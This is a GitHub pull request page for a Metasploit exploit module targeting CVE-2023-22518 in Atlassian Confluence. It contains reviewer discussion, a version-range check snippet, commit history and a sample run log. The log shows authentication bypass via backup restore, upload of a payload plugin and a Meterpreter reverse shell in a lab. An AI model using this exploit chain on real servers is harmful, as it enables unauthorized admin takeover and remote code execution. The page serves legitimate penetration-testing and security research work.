CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE #18566

jheysel-r7 · 2023-11-23T02:25:07Z

This PR adds a module for CVE-2023-22518, an Improper Authorization vulnerability in Confluence which allows an attacker to upload and restore a .zip backup file to the server containing a known user name and password. The attacker can then login with the credentials from the backup file to gain administrative access to the server.

The PR also includes a PluginPayload mixin which makes it easy to upload a metasploit .jsp payload to the server as a Confluence Plugin. The mixin work was primarily written by Stephen Fewer in his CVE-2023-22515 module and was refactored as a part of this PR.

cdelafuente-r7

Thanks @jheysel-r7 for this great module! I just left a few minor comments. I also tested against Confluence version 8.5.1 and it works great!

cdelafuente-r7 · 2023-12-13T14:46:17Z

lib/msf/core/exploit/remote/http/atlassian.rb

Is this file needed? It doesn't seem to be loaded by this module.

I believe these two files are required by the mixin structure, although please correct me if I'm wrong. Deleting atlassian.rb and confluence.rb but keeping .../atlassian/confluence/version.rb results in:

msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > reload_lib --all [-] /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/exploit/remote/http/atlassian.rb must exist and be a .rb file [-] /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/exploit/remote/http/atlassian/confluence.rb must exist and be a .rb file

cdelafuente-r7 · 2023-12-13T14:46:30Z

lib/msf/core/exploit/remote/http/atlassian/confluence.rb

Is this file needed?

lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb

modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb

cdelafuente-r7 · 2023-12-13T16:03:13Z

modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb

+    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
+       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
+       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
+       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2'))


The advisory also says version 8.6.1 has been fixed. Should it be added to the vulnerable version range?

Good catch! The only affected version in 8.6.x seems to be 8.6.0 so I'll just add an explicit check for that version.

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>

jheysel-r7

Thanks for the review @cdelafuente-r7!! I've pushed a couple changes.

jheysel-r7 · 2023-12-14T17:33:10Z

modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb

+    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
+       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
+       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
+       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2'))


Good catch! The only affected version in 8.6.x seems to be 8.6.0 so I'll just add an explicit check for that version.

jheysel-r7 · 2023-12-14T17:41:27Z

modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb

+    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
+       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
+       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
+       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2'))


Good catch! The only affected version in 8.6.x seems to be 8.6.0 so I'll just add an explicit check for that version.

jheysel-r7 · 2023-12-14T17:41:28Z

lib/msf/core/exploit/remote/http/atlassian.rb

I believe these two files are required by the mixin structure, although please correct me if I'm wrong. Deleting atlassian.rb and confluence.rb but keeping .../atlassian/confluence/version.rb results in:

msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > reload_lib --all [-] /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/exploit/remote/http/atlassian.rb must exist and be a .rb file [-] /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/exploit/remote/http/atlassian/confluence.rb must exist and be a .rb file

cdelafuente-r7 · 2023-12-14T18:02:37Z

Thanks for updating this @jheysel-r7. Apparently, reload_lib --all reload ruby files that have been changed using git. Since both lib/msf/core/exploit/remote/http/atlassian.rb and lib/msf/core/exploit/remote/http/atlassian/confluence.rb have changed (removed), the command will reload them. So, if you commit the changes, you should not have these errors anymore.

I've tested without these files and the module seems to run fine.

jheysel-r7 · 2023-12-15T15:48:59Z

You learn something new everyday :) Thanks for your patience and taking the time to explain that @cdelafuente-r7! I've removed those two files in 5d5ccd2

cdelafuente-r7 · 2023-12-18T17:52:35Z

Thanks for updating this @jheysel-r7 ! Everything looks good to me now. I tested against Confluence version 8.5.1 and verified I got a session. I'll go ahead and land it.

Example output

msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run verbose=true rhosts=192.168.100.102

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.5.1
[*] Setting credentials: buffy:NfnTOsVd
[+] Exploit Success! Login Using 'buffy :: NfnTOsVd'
[*] Generating payload plugin
[*] Uploading payload plugin
[*] Sleeping for 2 seconds before attempting again
[*] Triggering payload plugin
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 192.168.100.1
[*] Meterpreter session 1 opened (192.168.100.1:4444 -> 192.168.100.1:53324) at 2023-12-18 18:41:39 +0100

meterpreter > getuid
Server username: WIN2019$
meterpreter > sysinfo
Computer        : WIN2019
OS              : Windows Server 2019 10.0 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/windows

cdelafuente-r7 · 2023-12-18T18:01:23Z

Release notes

This adds an exploit module for CVE-2023-22518, an Improper Authorization vulnerability in Confluence which allows an attacker to upload and restore a .zip backup file to the server containing a known user name and password. The attacker can then login with the credentials from the backup file to gain administrative access to the server.

jheysel-r7 added 7 commits November 21, 2023 22:14

Auth bypass, auth, shell upload, working

e6e2106

working end to end unix confluence 7.18

c0be4c2

Clean up started

397b997

Removed unnecessary files in zip backup

7b74b75

Added payload plugin mixin

16dd06b

Refactored module to use mixin

61414fa

Documentation and rubocop changes

862194d

jheysel-r7 changed the title ~~[WIP] CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE~~ CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE Dec 12, 2023

jheysel-r7 marked this pull request as ready for review December 12, 2023 00:03

jheysel-r7 added module docs labels Dec 12, 2023

cdelafuente-r7 self-assigned this Dec 12, 2023

cdelafuente-r7 reviewed Dec 14, 2023

View reviewed changes

jheysel-r7 and others added 3 commits December 14, 2023 11:55

Update lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb

ef17829

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>

Update modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb

a14b28e

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>

Check method improvement

c1459df

jheysel-r7 commented Dec 14, 2023

View reviewed changes

Removed unnecssary files

5d5ccd2

jheysel-r7 linked an issue Dec 15, 2023 that may be closed by this pull request

Atlassian Confluence CVE-2023-22518 #18543

Closed

cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 18, 2023

cdelafuente-r7 merged commit 45d2c7f into rapid7:master Dec 18, 2023
58 checks passed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE #18566

CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE #18566

jheysel-r7 commented Nov 23, 2023 •

edited

cdelafuente-r7 left a comment

cdelafuente-r7 Dec 13, 2023

jheysel-r7 Dec 14, 2023

cdelafuente-r7 Dec 13, 2023

cdelafuente-r7 Dec 13, 2023

jheysel-r7 Dec 14, 2023

jheysel-r7 Dec 14, 2023

jheysel-r7 left a comment

jheysel-r7 Dec 14, 2023

jheysel-r7 Dec 14, 2023

jheysel-r7 Dec 14, 2023

cdelafuente-r7 commented Dec 14, 2023

jheysel-r7 commented Dec 15, 2023

cdelafuente-r7 commented Dec 18, 2023

cdelafuente-r7 commented Dec 18, 2023 •

edited by adfoster-r7

CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE #18566

CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE #18566

Conversation

jheysel-r7 commented Nov 23, 2023 • edited

cdelafuente-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

cdelafuente-r7 commented Dec 14, 2023

jheysel-r7 commented Dec 15, 2023

cdelafuente-r7 commented Dec 18, 2023

cdelafuente-r7 commented Dec 18, 2023 • edited by adfoster-r7

Release notes

jheysel-r7 commented Nov 23, 2023 •

edited

cdelafuente-r7 commented Dec 18, 2023 •

edited by adfoster-r7